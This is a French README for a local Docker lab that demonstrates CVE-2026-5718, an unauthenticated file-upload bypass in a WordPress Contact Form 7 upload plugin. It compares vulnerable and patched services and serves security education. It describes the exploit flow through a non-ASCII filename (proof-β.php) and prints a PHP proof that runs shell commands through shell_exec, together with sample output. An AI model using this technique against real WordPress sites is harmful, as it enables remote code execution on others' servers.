
# Laboratoire Docker local démontrant le CVE-2026-5718, téléversement arbitraire de fichiers dans un plugin WordPress, avec services vulnérables et corrigés pour une analyse côte à côte de l'exploitation et de la défense.
Laboratoire Docker local uniquement, comparant la version vulnérable et la version corrigée pour CVE-2026-5718, affectant le plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7.
Ce laboratoire démontre la différence entre la version vulnérable 1.3.9.6 et la version corrigée 1.3.9.7 à l'aide d'une preuve d'exécution PHP à moindre impact dans un environnement exclusivement Docker.
Portée : localhost / réseau Docker uniquement. N'utilisez pas ce PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
CVE-2026-5718 est une vulnérabilité de téléversement arbitraire de fichier dans Drag and Drop Multiple File Upload for Contact Form 7 jusqu'à la version 1.3.9.6 incluse.
Le problème se déclenche lorsque des types de liste noire personnalisés sont configurés et que le nom de fichier contient des caractères non ASCII. Dans la version vulnérable, un téléversement dangereux de fichier .php peut contourner la protection prévue et rester exécutable. La version 1.3.9.7 corrige le problème en rejetant ce même téléversement.
Ce dépôt exécute deux services WordPress locaux :
vuln sur http://localhost:8081 avec la version 1.3.9.6 du pluginpatched sur http://localhost:8082 avec la version 1.3.9.7 du pluginHost
├── http://localhost:8081 -> vulnerable WordPress service
└── http://localhost:8082 -> patched WordPress service
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
| Service | Objectif | Port hôte | Version |
|---|---|---|---|
vuln | Laboratoire WordPress vulnérable | 8081 | Plugin 1.3.9.6 |
patched | Laboratoire WordPress corrigé | 8082 | Plugin 1.3.9.7 |
vuln-db | Base de données MySQL pour le service vulnérable | interne | MySQL 8.0 |
patched-db | Base de données MySQL pour le service corrigé | interne | MySQL 8.0 |
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Le formulaire Contact Form 7 préconfiguré contient un champ Drag and Drop Multiple File Upload :
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
Le PoC téléverse un fichier de preuve PHP nommé :
proof-β.php
Le caractère β est non ASCII. C'est important car la vulnérabilité dépend de la gestion du nom de fichier pour une entrée non ASCII.
Flux de haut niveau :
PoC
↓
Fetch lab page and extract DnD CF7 AJAX nonce
↓
Upload proof-β.php through wp-admin/admin-ajax.php
↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
↓
PoC requests the uploaded file
↓
Vulnerable lab executes the PHP proof as www-data
Flux corrigé :
PoC
↓
Upload the same proof-β.php file
↓
Patched 1.3.9.7 rejects the upload
↓
No PHP file is stored and no code execution occurs
La preuve PHP téléversée est intentionnellement minimale :
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
La preuve exécute uniquement whoami et id pour afficher le contexte d'exécution. Elle n'utilise pas de reverse shell, de persistance, d'accès aux identifiants, de mouvement latéral, de scan réseau ni d'actions destructrices.
Le service vulnérable autorise volontairement l'exécution PHP dans le répertoire de téléversement du plugin afin que l'impact soit observable dans ce laboratoire local. Le service corrigé conserve un comportement plus sûr et rejette le téléversement au niveau de la couche de validation applicative.
Installer les dépendances Python :
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Démarrer depuis un état propre :
docker compose down -v
docker compose up --build -d
Vérifier l'état des services :
docker compose ps
Ouvrir les pages du laboratoire :
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
Exécuter contre le service vulnérable :
python poc/poc.py --base-url http://localhost:8081
Exécuter contre le service corrigé :
python poc/poc.py --base-url http://localhost:8082
Le PoC n'accepte que les cibles localhost ou loopback.
Comportement attendu :
.php.Exemple de sortie :
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
Comportement attendu :
Exemple de sortie :
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
Ce laboratoire est volontairement limité aux tests locaux.
Le PoC :
whoami et id dans le conteneur vulnérable.Le service vulnérable assouplit l'exécution PHP dans le répertoire de téléversement uniquement pour rendre la preuve locale observable. Ne copiez pas cette configuration en production.
Arrêter les conteneurs :
docker compose down
Supprimer les conteneurs et les volumes :
docker compose down -v
Supprimer l'environnement virtuel Python :
rm -rf .venv
NVD : CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Avis Patchstack : WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence : Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
GitHub Advisory Database : GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
Page du plugin WordPress.org : Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
Page du fournisseur du plugin : Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
Ce dépôt est destiné uniquement à la recherche en sécurité éducative et défensive. Il est conçu pour s'exécuter uniquement sur localhost avec Docker. N'utilisez pas le PoC contre des systèmes publics ou tiers.